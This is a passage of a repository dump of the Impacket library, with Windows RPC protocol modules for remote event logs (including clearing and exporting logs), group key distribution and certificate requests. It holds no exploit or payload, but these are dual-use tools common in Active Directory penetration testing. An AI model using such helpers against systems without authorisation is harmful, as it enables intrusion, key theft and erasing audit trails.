UUID\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray, NDRUniVaryingArray, NDRSTRUCT, NULL\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.uuid import uuidtup_to_bin\n\nMSRPC_UUID_EVEN6 = uuidtup_to_bin(('F6BEAFF7-1E19-4FBB-9F8F-B89E2018337C', '1.0'))\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__(self):\n        key = self.error_code\n        if key in system_errors.ERROR_MESSAGES:\n            error_msg_short = system_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]\n            return 'EVEN6 SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'EVEN6 SessionError: unknown error code: 0x%x' % self.error_code\n\ndef checkNullString(string):\n    if string == NULL:\n        return string\n\n    if string[-1:] != '\\x00':\n        return string + '\\x00'\n    else:\n        return string\n\n################################################################################\n# CONSTANTS\n################################################################################\n\n# Evt Subscribe Flags\nEvtSubscribeToFutureEvents = 0x00000001\nEvtSubscribeStartAtOldestRecord = 0x00000002\nEvtSubscribeStartAfterBookmark = 0x00000004\n\nEvtSubscribeTolerateQueryErrors = 0x00001000\nEvtSubscribeStrict = 0x00010000\nEvtSubscribePull = 0x10000000\n\n# Evt Path Flags\nEvtQueryChannelName   = 0x00000001\nEvtQueryFilePath      = 0x00000002\n\n# EvtRpcExportLog\nEvtQueryTolerateQueryErrors = 0x00001000\n\n# EvtRpcRegisterLogQuery\nEvtReadOldestToNewest = 0x00000100\nEvtReadNewestToOldest = 0x00000200\n\n\n################################################################################\n# STRUCTURES\n################################################################################\n\nclass handle_t(NDRSTRUCT):\n    structure = (\n         ('context_handle_attributes',ULONG),\n         ('context_handle_uuid',UUID),\n    )\n\n    def __init__(self, data=None, isNDR64=False):\n        NDRSTRUCT.__init__(self, data, isNDR64)\n        self['context_handle_uuid'] = b'\\x00'*16\n\n    def isNull(self):\n        return self['context_handle_uuid'] == b'\\x00'*16\n\nCONTEXT_HANDLE_REMOTE_SUBSCRIPTION = handle_t\n\nCONTEXT_HANDLE_LOG_HANDLE = handle_t\n\nclass PCONTEXT_HANDLE_LOG_HANDLE(NDRPOINTER):\n    referent = (\n        ('Data', CONTEXT_HANDLE_LOG_HANDLE),\n    )\n\nCONTEXT_HANDLE_LOG_QUERY = handle_t\n\nclass PCONTEXT_HANDLE_LOG_QUERY(NDRPOINTER):\n    referent = (\n        ('Data', CONTEXT_HANDLE_LOG_QUERY),\n    )\n\nclass LPPCONTEXT_HANDLE_LOG_QUERY(NDRPOINTER):\n    referent = (\n        ('Data', PCONTEXT_HANDLE_LOG_QUERY),\n    )\n\nCONTEXT_HANDLE_OPERATION_CONTROL = handle_t\n\nclass PCONTEXT_HANDLE_OPERATION_CONTROL(NDRPOINTER):\n    referent = (\n        ('Data', CONTEXT_HANDLE_OPERATION_CONTROL),\n    )\n\n# 2.2.11 EvtRpcQueryChannelInfo\nclass EvtRpcQueryChannelInfo(NDRSTRUCT):\n    structure = (\n        ('Name', LPWSTR),\n        ('Status', DWORD),\n    )\n\nclass EvtRpcQueryChannelInfoArray(NDRUniVaryingArray):\n    item = EvtRpcQueryChannelInfo\n\nclass LPEvtRpcQueryChannelInfoArray(NDRPOINTER):\n    referent = (\n        ('Data', EvtRpcQueryChannelInfoArray)\n    )\n\nclass RPC_INFO(NDRSTRUCT):\n    structure = (\n        ('Error', DWORD),\n        ('SubError', DWORD),\n        ('SubErrorParam', DWORD),\n    )\n\nclass PRPC_INFO(NDRPOINTER):\n    referent = (\n        ('Data', RPC_INFO)\n    )\n\nclass WSTR_ARRAY(NDRUniVaryingArray):\n    item = WSTR\n\nclass DWORD_ARRAY(NDRUniVaryingArray):\n    item = DWORD\n\nclass LPDWORD_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', DWORD_ARRAY)\n    )\n\nclass BYTE_ARRAY(NDRUniVaryingArray):\n    item = 'c'\n\nclass CBYTE_ARRAY(NDRUniVaryingArray):\n    item = BYTE\n\nclass CDWORD_ARRAY(NDRUniConformantArray):\n    item = DWORD\n\nclass LPBYTE_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', CBYTE_ARRAY)\n    )\n\nclass ULONG_ARRAY(NDRUniVaryingArray):\n    item = ULONG\n\n# UniConformant Pointer Array for DWORDs\nclass PCDWORD_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', CDWORD_ARRAY),\n    )\n\nclass PDWORD_ARRAY(PCDWORD_ARRAY):\n    pass\n\n# UniConformant Pointer Array for BYTEs\nclass BYTE_ARRAY_CONFORMANT(NDRUniConformantArray):\n    item = 'c'\n\nclass PBYTE_ARRAY_CONFORMANT(NDRPOINTER):\n    referent = (\n        ('Data', BYTE_ARRAY_CONFORMANT),\n    )\n\nclass PBYTE_ARRAY(PBYTE_ARRAY_CONFORMANT):\n    pass\n\n# 2.3.1 EVENT_DESCRIPTOR\nclass EVENT_DESCRIPTOR(NDRSTRUCT):\n    structure = (\n        ('Id', WORD),\n        ('Version', BYTE),\n        ('Channel', BYTE),\n        ('LevelSeverity', BYTE),\n        ('Opcode', BYTE),\n        ('Task', WORD),\n        ('Keyword', ULONG),\n    )\n\nclass BOOKMARK(NDRSTRUCT):\n    structure = (\n        ('BookmarkSize', DWORD),\n        ('HeaderSize', '<L=0x18'),\n        ('ChannelSize', DWORD),\n        ('CurrentChannel', DWORD),\n        ('ReadDirection', DWORD),\n        ('RecordIdsOffset', DWORD),\n        ('LogRecordNumbers', ULONG_ARRAY),\n    )\n\n\n#2.2.17 RESULT_SET\nclass RESULT_SET(NDRSTRUCT):\n    structure = (\n        ('TotalSize', DWORD),\n        ('HeaderSize', DWORD),\n        ('EventOffset', DWORD),\n        ('BookmarkOffset', DWORD),\n        ('BinXmlSize', DWORD),\n        ('EventData', BYTE_ARRAY),\n        #('NumberOfSubqueryIDs', '<L=0'),\n        #('SubqueryIDs', BYTE_ARRAY),\n        #('BookMarkData', BOOKMARK),\n    )\n\n################################################################################\n# RPC CALLS\n################################################################################\n\nclass EvtRpcRegisterRemoteSubscription(NDRCALL):\n    opnum = 0\n    structure = (\n        ('channelPath', LPWSTR),\n        ('query', WSTR),\n        ('bookmarkXml', LPWSTR),\n        ('Flags', DWORD),\n    )\n\nclass EvtRpcRegisterRemoteSubscriptionResponse(NDRCALL):\n    structure = (\n        ('Handle', CONTEXT_HANDLE_REMOTE_SUBSCRIPTION),\n        ('OpControl', CONTEXT_HANDLE_OPERATION_CONTROL),\n        ('QueryChannelInfoSize', DWORD),\n        ('QueryChannelInfo', EvtRpcQueryChannelInfoArray),\n        ('Error', RPC_INFO),\n    )\n\nclass EvtRpcRemoteSubscriptionNext(NDRCALL):\n    opnum = 2\n    structure = (\n        ('Handle', CONTEXT_HANDLE_REMOTE_SUBSCRIPTION),\n        ('NumRequestedRecords', DWORD),\n        ('TimeOut', DWORD),\n        ('Flags', DWORD),\n    )\n\nclass EvtRpcRemoteSubscriptionNextResponse(NDRCALL):\n    structure = (\n        ('NumActualRecords', DWORD),\n        ('EventDataIndices', PDWORD_ARRAY),\n        ('EventDataSizes', PDWORD_ARRAY),\n        ('ResultBufferSize', DWORD),\n        ('ResultBuffer', PBYTE_ARRAY),\n        ('ErrorCode', ULONG),\n    )\n\nclass EvtRpcRegisterControllableOperation(NDRCALL):\n    opnum = 4\n    structure = ()\n\nclass EvtRpcRegisterControllableOperationResponse(NDRCALL):\n    structure = (\n        ('Handle', CONTEXT_HANDLE_OPERATION_CONTROL),\n        ('Error', DWORD),\n    )\n\nclass EvtRpcRegisterLogQuery(NDRCALL):\n    opnum = 5\n    structure = (\n        ('Path', LPWSTR),\n        ('Query', WSTR),\n        ('Flags', DWORD),\n    )\n\nclass EvtRpcRegisterLogQueryResponse(NDRCALL):\n    structure = (\n        ('Handle', CONTEXT_HANDLE_LOG_QUERY),\n        ('OpControl', CONTEXT_HANDLE_OPERATION_CONTROL),\n        ('QueryChannelInfoSize', DWORD),\n        ('QueryChannelInfo', EvtRpcQueryChannelInfoArray),\n        ('Error', RPC_INFO),\n    )\n\nclass EvtRpcClearLog(NDRCALL):\n    opnum = 6\n    structure = (\n        ('Handle', CONTEXT_HANDLE_OPERATION_CONTROL),\n        ('ChannelPath', WSTR),\n        ('BackupPath', WSTR),\n        ('Flags', DWORD),\n    )\n\nclass EvtRpcClearLogResponse(NDRCALL):\n    structure = (\n        ('Error', RPC_INFO),\n    )\n\nclass EvtRpcExportLog(NDRCALL):\n    opnum = 7\n    structure = (\n        ('Handle', CONTEXT_HANDLE_OPERATION_CONTROL),\n        ('ChannelPath', WSTR),\n        ('Query', WSTR),\n        ('BackupPath', WSTR),\n        ('Flags', DWORD),\n    )\n\nclass EvtRpcExportLogResponse(NDRCALL):\n    structure = (\n        ('Error', RPC_INFO),\n    )\n\nclass EvtRpcQueryNext(NDRCALL):\n    opnum = 11\n    structure = (\n        ('LogQuery', CONTEXT_HANDLE_LOG_QUERY),\n        ('NumRequestedRecords', DWORD),\n        ('TimeOutEnd', DWORD),\n        ('Flags', DWORD),\n    )\n\nclass EvtRpcQueryNextResponse(NDRCALL):\n    structure = (\n        ('NumActualRecords', DWORD),\n        ('EventDataIndices', DWORD_ARRAY),\n        ('EventDataSizes', DWORD_ARRAY),\n        ('ResultBufferSize', DWORD),\n        ('ResultBuffer', BYTE_ARRAY),\n        ('ErrorCode', ULONG),\n    )\n\nclass EvtRpcQuerySeek(NDRCALL):\n    opnum = 12\n    structure = (\n        ('LogQuery', CONTEXT_HANDLE_LOG_QUERY),\n        ('Pos', LARGE_INTEGER),\n        ('BookmarkXML', LPWSTR),\n        ('Flags', DWORD),\n    )\n\nclass EvtRpcQuerySeekResponse(NDRCALL):\n    structure = (\n        ('Error', RPC_INFO),\n    )\n\nclass EvtRpcClose(NDRCALL):\n    opnum = 13\n    structure = (\n        (\"Handle\", CONTEXT_HANDLE_LOG_HANDLE),\n    )\n\nclass EvtRpcCloseResponse(NDRCALL):\n    structure = (\n        (\"Handle\", PCONTEXT_HANDLE_LOG_HANDLE),\n        ('ErrorCode', ULONG),\n    )\n\nclass EvtRpcOpenLogHandle(NDRCALL):\n    opnum = 17\n    structure = (\n        ('Channel', WSTR),\n        ('Flags', DWORD),\n    )\n\nclass EvtRpcOpenLogHandleResponse(NDRCALL):\n    structure = (\n        ('Handle', PCONTEXT_HANDLE_LOG_HANDLE),\n        ('Error', RPC_INFO),\n    )\n\nclass EvtRpcGetChannelList(NDRCALL):\n    opnum = 19\n    structure = (\n        ('Flags', DWORD),\n    )\n\nclass EvtRpcGetChannelListResponse(NDRCALL):\n    structure = (\n        ('NumChannelPaths', DWORD),\n        ('ChannelPaths', WSTR_ARRAY),\n        ('ErrorCode', ULONG),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\n\nOPNUMS = {\n    0   : (EvtRpcRegisterRemoteSubscription, EvtRpcRegisterRemoteSubscriptionResponse),\n    2   : (EvtRpcRemoteSubscriptionNext, EvtRpcRemoteSubscriptionNextResponse),\n    4   : (EvtRpcRegisterControllableOperation, EvtRpcRegisterControllableOperationResponse),\n    5   : (EvtRpcRegisterLogQuery, EvtRpcRegisterLogQueryResponse),\n    6   : (EvtRpcClearLog, EvtRpcClearLogResponse),\n    7   : (EvtRpcExportLog, EvtRpcExportLogResponse),\n    11  : (EvtRpcQueryNext,  EvtRpcQueryNextResponse),\n    12  : (EvtRpcQuerySeek, EvtRpcQuerySeekResponse),\n    13  : (EvtRpcClose, EvtRpcCloseResponse),\n    17  : (EvtRpcOpenLogHandle, EvtRpcOpenLogHandle),\n    19  : (EvtRpcGetChannelList, EvtRpcGetChannelListResponse),\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\n\ndef hEvtRpcRegisterRemoteSubscription(dce, channelPath, query, bookmarkXml, flags):\n    request = EvtRpcRegisterRemoteSubscription()\n    request['channelPath'] = checkNullString(channelPath)\n    request['query'] = checkNullString(query)\n    request['bookmarkXml'] = checkNullString(bookmarkXml)\n    request['Flags'] = flags\n    resp = dce.request(request)\n    return resp\n\ndef hEvtRpcRemoteSubscriptionNext(dce, handle, numRequestedRecords, timeOut=1000, flags=0):\n    request = EvtRpcRemoteSubscriptionNext()\n    request['Handle'] = handle\n    request['NumRequestedRecords'] = numRequestedRecords\n    request['TimeOut'] = timeOut\n    request['Flags'] = flags\n    resp = dce.request(request)\n    return resp\n\ndef hEvtRpcRegisterControllableOperation(dce):\n    request = EvtRpcRegisterControllableOperation()\n    resp = dce.request(request)\n    return resp\n\ndef hEvtRpcRegisterLogQuery(dce, path, flags, query='*\\x00'):\n    request = EvtRpcRegisterLogQuery()\n    request['Path'] = checkNullString(path)\n    request['Query'] = checkNullString(query)\n    request['Flags'] = flags\n    resp = dce.request(request)\n    return resp\n\ndef hEvtRpcClearLog(dce, handle, path, backupPath=NULL):\n    request = EvtRpcClearLog()\n    request['Handle'] = handle\n    request['ChannelPath'] = checkNullString(path)\n    request['BackupPath'] = checkNullString(backupPath)\n    request['Flags'] = 0\n    resp = dce.request(request)\n    return resp\n\ndef hEvtRpcExportLog(dce, handle, channelPath, query, backupPath):\n    request = EvtRpcExportLog()\n    request['Handle'] = handle\n    request['ChannelPath'] = checkNullString(channelPath)\n    request['Query'] = checkNullString(query)\n    request['BackupPath'] = checkNullString(backupPath)\n    request['Flags'] = 0\n    resp = dce.request(request)\n    return resp\n\ndef hEvtRpcQueryNext(dce, handle, numRequestedRecords, timeOutEnd=1000):\n    request = EvtRpcQueryNext()\n\n    request['LogQuery'] = handle\n    request['NumRequestedRecords'] = numRequestedRecords\n    request['TimeOutEnd'] = timeOutEnd\n    request['Flags'] = 0\n    status = system_errors.ERROR_MORE_DATA\n    resp = dce.request(request)\n    while status == system_errors.ERROR_MORE_DATA:\n        try:\n            resp = dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('ERROR_NO_MORE_ITEMS') < 0:\n                raise\n            elif str(e).find('ERROR_TIMEOUT') < 0:\n                raise\n            resp = e.get_packet()\n        return resp\n\ndef hEvtRpcClose(dce, handle):\n    request = EvtRpcClose()\n    request['Handle'] = handle\n    resp = dce.request(request)\n    return resp\n\ndef hEvtRpcOpenLogHandle(dce, channel, flags):\n    request = EvtRpcOpenLogHandle()\n    request['Channel'] = checkNullString(channel)\n    request['Flags'] = flags\n    return dce.request(request)\n\ndef hEvtRpcGetChannelList(dce):\n    request = EvtRpcGetChannelList()\n\n    request['Flags'] = 0\n    resp = dce.request(request)\n    return resp\n"
  },
  {
    "path": "impacket/dcerpc/v5/gkdi.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray\nfrom impacket.dcerpc.v5.dtypes import ULONG, PGUID, LONG, NTSTATUS, NULL\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket import hresult_errors\nfrom impacket.structure import Structure\nfrom impacket.uuid import uuidtup_to_bin\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        key = self.error_code\n        if key in hresult_errors.ERROR_MESSAGES:\n            error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]\n            return 'GKDI SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'GKDI SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# CONSTANTS\n################################################################################\n\nMSRPC_UUID_GKDI = uuidtup_to_bin(('B9785960-524F-11DF-8B6D-83DCDED72085','1.0'))\n\n################################################################################\n# STRUCTURES\n################################################################################\n\n# 2.2.1 KDF Parameters\nclass KDFParameter(Structure):\n    structure = (\n        ('Unknown1','<L=0'),\n        ('Unknown2','<L=0'),\n        ('HashLen','<L=0'),\n        ('Unknown3','<L=0'),\n        ('_HashName','_-HashName', 'self[\"HashLen\"]'),\n        ('HashName',':')\n    )\n\n# 2.2.2 FFC DH Parameters\nclass FFCDHParameter(Structure):\n    structure = (\n        ('Length', '<L=0'),\n        ('Magic', '<4s=0'),\n        ('KeyLength', '<L=0'),\n        ('_FieldOrder','_-FieldOrder', 'self[\"KeyLength\"]'),\n        ('FieldOrder',':'),\n        ('_Generator','_-Generator', 'self[\"KeyLength\"]'),\n        ('Generator',':')\n    )\n\n    def dump(self):\n        print(\"[FFCDH PARAMETER]\")\n        print(\"Length:\\t\\t%s\" % (self['Length']))\n        print(\"Magic:\\t\\t%s\" % (self['Magic']))\n        print(\"KeyLength:\\t\\t%s\" % (self['KeyLength']))\n        print(\"FieldOrder:\\t\\t%s\" % (self['FieldOrder']))\n        print(\"Generator:\\t\\t%s\" % (self['Generator']))\n        print()\n\n# 2.2.3.1 FFC DH Key\nclass FFCDHKey(Structure):\n    structure = (\n        ('Magic', '<4s=0'),\n        ('KeyLength', '<L=0'),\n        ('_FieldOrder','_-FieldOrder', 'self[\"KeyLength\"]'),\n        ('FieldOrder',':'),\n        ('_Generator','_-Generator', 'self[\"KeyLength\"]'),\n        ('Generator',':'),\n        ('_PubKey','_-PubKey', 'self[\"KeyLength\"]'),\n        ('PubKey',':'),\n    )\n\n    def dump(self):\n        print(\"[FFCDH KEY]\")\n        print(\"KeyLength:\\t\\t%s\" % (self['KeyLength']))\n        print(\"FieldOrder:\\t\\t%s\" % (self['FieldOrder']))\n        print(\"Generator:\\t\\t%s\" % (self['Generator']))\n        print(\"PubKey:\\t\\t%s\" % (self['PubKey']))\n        print()\n\n# 2.2.3.2 ECDH Key\nclass ECDHKey(Structure):\n    structure = (\n        ('Magic', '<4s=0'),\n        ('KeyLength', '<L=0'),\n        ('_XCoordinate','_-XCoordinate', 'self[\"KeyLength\"]'),\n        ('XCoordinate',':'),\n        ('_YCoordinate','_-YCoordinate', 'self[\"KeyLength\"]'),\n        ('YCoordinate',':'),\n    )\n\n    def dump(self):\n        print(\"[ECDH KEY]\")\n        print(\"Magic:\\t\\t%s\" % (hex(self['Magic'])))\n        print(\"XCoordinate:\\t\\t%s\" % (self['XCoordinate']))\n        print(\"YCoordinate:\\t\\t%s\" % (self['YCoordinate']))\n        print()\n\n# 2.2.4 Group Key Envelope\nclass GroupKeyEnvelope(Structure):\n    structure = (\n        ('Version', '<L=0'),\n        ('Magic', '<L=0'),\n        ('Flags', '<L=0'),\n        ('L0Index', '<L=0'),\n        ('L1Index', '<L=0'),\n        ('L2Index', '<L=0'),\n        ('RootKeyId', '16s=b'),\n        ('KdfAlgoLength', '<L=0'),\n        ('KdfParaLength', '<L=0'),\n        ('SecAlgoLength', '<L=0'),\n        ('SecParaLength', '<L=0'),\n        ('PrivKeyLength', '<L=0'),\n        ('PubKeyLength', '<L=0'),\n        ('L1KeyLength', '<L=0'),\n        ('L2KeyLength', '<L=0'),\n        ('DomainLength', '<L=0'),\n        ('ForestLength', '<L=0'),\n        ('_KdfAlgo','_-KdfAlgo', 'self[\"KdfAlgoLength\"]'),\n        ('KdfAlgo',':'),\n        ('_KdfPara','_-KdfPara', 'self[\"KdfParaLength\"]'),\n        ('KdfPara',':', KDFParameter),\n        ('_SecAlgo','_-SecAlgo', 'self[\"SecAlgoLength\"]'),\n        ('SecAlgo',':'),\n        ('_SecPara','_-SecPara', 'self[\"SecParaLength\"]'),\n        ('SecPara',':'),\n        ('_Domain','_-Domain', 'self[\"DomainLength\"]'),\n        ('Domain',':'),\n        ('_Forest','_-Forest', 'self[\"ForestLength\"]'),\n        ('Forest',':'),\n        ('_L1Key','_-L1Key', 'self[\"L1KeyLength\"]'),\n        ('L1Key',':'),\n        ('_L2Key','_-L2Key', 'self[\"L2KeyLength\"]'),\n        ('L2Key',':'),\n    )\n\n    def dump(self):\n        print(\"[GROUP KEY ENVELOPE]\")\n        print(\"Version:\\t\\t%s\" % (self['Version']))\n        print(\"Magic:\\t\\t%s\" % (hex(self['Magic'])))\n        print(\"Flags:\\t\\t%s\" % (self['Flags']))\n        print(\"L0Index:\\t\\t%s\" % (self['L0Index']))\n        print(\"L1Index:\\t\\t%s\" % (self['L1Index']))\n        print(\"L2Index:\\t\\t%s\" % (self['L2Index']))\n        print(\"RootKeyId:\\t\\t%s\" % (self['RootKeyId']))\n        print(\"KdfAlgo:\\t\\t%s\" % (self['KdfAlgo'].decode('utf-16le')))\n        print(\"KdfPara:\\t\\t%s\" % (self['KdfPara']['HashName'].decode('utf-16le')))\n        print(\"SecAlgo:\\t\\t%s\" % (self['SecAlgo'].decode('utf-16le')))\n        print(\"SecPara:\\t\\t%s\" % (self['SecPara']))\n        print(\"PrivKeyLength:\\t\\t%s\" % (self['PrivKeyLength']))\n        print(\"PubKeyLength:\\t\\t%s\" % (self['PubKeyLength']))\n        print(\"Domain:\\t\\t%s\" % (self['Domain'].decode('utf-16le')))\n        print(\"Forest:\\t\\t%s\" % (self['Forest'].decode('utf-16le')))\n        print(\"L1Key:\\t\\t%s\" % (self['L1Key']))\n        print(\"L2Key:\\t\\t%s\" % (self['L2Key']))\n        print()\n    \nclass BYTE_ARRAY(NDRUniConformantArray):\n    item = 'c'\n\nclass PBYTE_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', BYTE_ARRAY),\n    )\n\n################################################################################\n# RPC CALLS\n################################################################################\n\n# 3.1.4.1 GetKey (Opnum 0)\nclass GkdiRpcGetKey(NDRCALL):\n    opnum = 0\n    structure = (\n        ('cbTargetSD', ULONG),\n        ('pbTargetSD', BYTE_ARRAY),\n        ('pRootKeyID', PGUID),\n        ('L0KeyID', LONG),\n        ('L1KeyID', LONG),\n        ('L2KeyID', LONG),\n    )\n\nclass GkdiRpcGetKeyResponse(NDRCALL):\n    opnum = 0\n    structure = (\n        ('pcbOut', ULONG),\n        ('pbbOut', PBYTE_ARRAY),\n        ('ErrorCode', NTSTATUS),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\n\nOPNUMS = {\n    0   : (GkdiRpcGetKey, GkdiRpcGetKeyResponse),\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\n\ndef GkdiGetKey(dce, target_sd, l0 =-1, l1=-1, l2=-1, root_key_id=NULL):\n    request = GkdiRpcGetKey()\n    request['cbTargetSD'] = len(target_sd)\n    request['pbTargetSD'] = target_sd.getData()\n    request['pRootKeyID'] = root_key_id\n    request['L0KeyID'] = l0\n    request['L1KeyID'] = l1\n    request['L2KeyID'] = l2\n    return dce.request(request)"
  },
  {
    "path": "impacket/dcerpc/v5/icpr.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies\n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-ICPR] Interface implementation\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#\n# Author:\n#   Sylvain Heiniger @(sploutchy) / Compass Security (https://www.compass-security.com)\n#   based on the code of Oliver Lyak (@ly4k_)\n#\n# TODO:\n#   - Testcases\n#\nimport base64\nfrom typing import List\n\nfrom impacket import hresult_errors, LOG\nfrom impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, NULL, PBYTE, ULONG\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT\nfrom impacket.dcerpc.v5.nrpc import checkNullString\nfrom impacket.dcerpc.v5.rpcrt import DCERPC_v5, DCERPCException\nfrom impacket.krb5 import constants\nfrom impacket.uuid import uuidtup_to_bin\n\n\nMSRPC_UUID_ICPR = uuidtup_to_bin((\"91ae6020-9e3c-11cf-8d7c-00aa00c091be\", \"0.0\"))\n\n\"\"\"\n// RFC 4556\n77: \"KDC_ERR_INCONSISTENT_KEY_PURPOSE\"\n78: \"KDC_ERR_DIGEST_IN_CERT_NOT_ACCEPTED\"\n79: \"KDC_ERR_PA_CHECKSUM_MUST_BE_INCLUDED\"\n80: \"KDC_ERR_DIGEST_IN_SIGNED_DATA_NOT_ACCEPTED\"\n81: \"KDC_ERR_PUBLIC_KEY_ENCRYPTION_NOT_SUPPORTED\"\n // RFC 6113\n90: \"KDC_ERR_PREAUTH_EXPIRED\"\n91: \"KDC_ERR_MORE_PREAUTH_DATA_REQUIRED\"\n92: \"KDC_ERR_PREAUTH_BAD_AUTHENTICATION_SET\"\n93: \"KDC_ERR_UNKNOWN_CRITICAL_FAST_OPTIONS\"\n\"\"\"\n\nKRB5_ERROR_MESSAGES = constants.ERROR_MESSAGES\nif 77 not in KRB5_ERROR_MESSAGES:\n    KRB5_ERROR_MESSAGES.update(\n        {\n            77: (\n                \"KDC_ERR_INCONSISTENT_KEY_PURPOSE\",\n                \"Certificate cannot be used for PKINIT client authentication\",\n            ),\n            78: (\n                \"KDC_ERR_DIGEST_IN_CERT_NOT_ACCEPTED\",\n                \"Digest algorithm for the public key in the certificate is not acceptable by the KDC\",\n            ),\n            79: (\n                \"KDC_ERR_PA_CHECKSUM_MUST_BE_INCLUDED\",\n                \"The paChecksum filed in the request is not present\",\n            ),\n            80: (\n                \"KDC_ERR_DIGEST_IN_SIGNED_DATA_NOT_ACCEPTED\",\n                \"The digest algorithm used by the id-pkinit-authData is not acceptable by the KDC\",\n            ),\n            81: (\n                \"KDC_ERR_PUBLIC_KEY_ENCRYPTION_NOT_SUPPORTED\",\n                \"The KDC does not support the public key encryption key delivery method\",\n            ),\n            90: (\n                \"KDC_ERR_PREAUTH_EXPIRED\",\n                \"The conversation is too old and needs to restart\",\n            ),\n            91: (\n                \"KDC_ERR_MORE_PREAUTH_DATA_REQUIRED\",\n                \"Additional pre-authentication required\",\n            ),\n            92: (\n                \"KDC_ERR_PREAUTH_BAD_AUTHENTICATION_SET\",\n                \"KDC cannot accommodate requested padata element\",\n            ),\n            93: (\"KDC_ERR_UNKNOWN_CRITICAL_FAST_OPTIONS\", \"Unknown critical option\"),\n        }\n    )\n\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__(self) -> str:\n        self.error_code &= 0xFFFFFFFF\n        error_msg = translate_error_code(self.error_code)\n        return \"RequestSessionError: %s\" % error_msg\n\n\n################################################################################\n# STRUCTURES\n################################################################################\n# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/d6bee093-d862-4122-8f2b-7b49102097dc\n# [MS-WCCE] 2.2.2.2\nclass CERTTRANSBLOB(NDRSTRUCT):\n    structure = (\n        (\"cb\", ULONG),\n        (\"pb\", PBYTE),\n    )\n\n# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-icpr/0c6f150e-3ead-4006-b37f-ebbf9e2cf2e7\nclass CertServerRequest(NDRCALL):\n    opnum = 0\n    structure = (\n        (\"dwFlags\", DWORD),\n        (\"pwszAuthority\", LPWSTR),\n        (\"pdwRequestId\", DWORD),\n        (\"pctbAttribs\", CERTTRANSBLOB),\n        (\"pctbRequest\", CERTTRANSBLOB),\n    )\n\n\n# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-icpr/0c6f150e-3ead-4006-b37f-ebbf9e2cf2e7\nclass CertServerRequestResponse(NDRCALL):\n    structure = (\n        (\"pdwRequestId\", DWORD),\n        (\"pdwDisposition\", ULONG),\n        (\"pctbCert\", CERTTRANSBLOB),\n        (\"pctbEncodedCert\", CERTTRANSBLOB),\n        (\"pctbDispositionMessage\", CERTTRANSBLOB),\n    )\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\n\ndef translate_error_code(error_code: int) -> str:\n    error_code &= 0xFFFFFFFF\n    if error_code in hresult_errors.ERROR_MESSAGES:\n        error_msg_short = hresult_errors.ERROR_MESSAGES[error_code][0]\n        error_msg_verbose = hresult_errors.ERROR_MESSAGES[error_code][1]\n        return \"code: 0x%x - %s - %s\" % (\n            error_code,\n            error_msg_short,\n            error_msg_verbose,\n        )\n    else:\n        return \"unknown error code: 0x%x\" % error_code\n\ndef hCertServerRequest(\n    dce: DCERPC_v5,\n    csr: bytes,\n    attributes: List[str],\n    request_id: int = 0,\n    ca: str = \"\"\n) -> str:\n    attribs = checkNullString(\"\\n\".join(attributes)).encode(\"utf-16le\")\n    pctb_attribs = CERTTRANSBLOB()\n    pctb_attribs[\"cb\"] = len(attribs)\n    pctb_attribs[\"pb\"] = attribs\n\n    pctb_request = CERTTRANSBLOB()\n    pctb_request[\"cb\"] = len(csr)\n    pctb_request[\"pb\"] = csr\n\n    request = CertServerRequest()\n    request[\"dwFlags\"] = 0\n    request[\"pwszAuthority\"] = checkNullString(ca)\n    request[\"pdwRequestId\"] = request_id\n    request[\"pctbAttribs\"] = pctb_attribs\n    request[\"pctbRequest\"] = pctb_request\n\n    response = dce.request(request)\n\n    error_code = response[\"pdwDisposition\"]\n    request_id = response[\"pdwRequestId\"]\n\n    if error_code == 3:\n        LOG.info(\"Successfully requested certificate\")\n    else:\n        if error_code == 5:\n            LOG.warning(\"Certificate request is pending approval\")\n 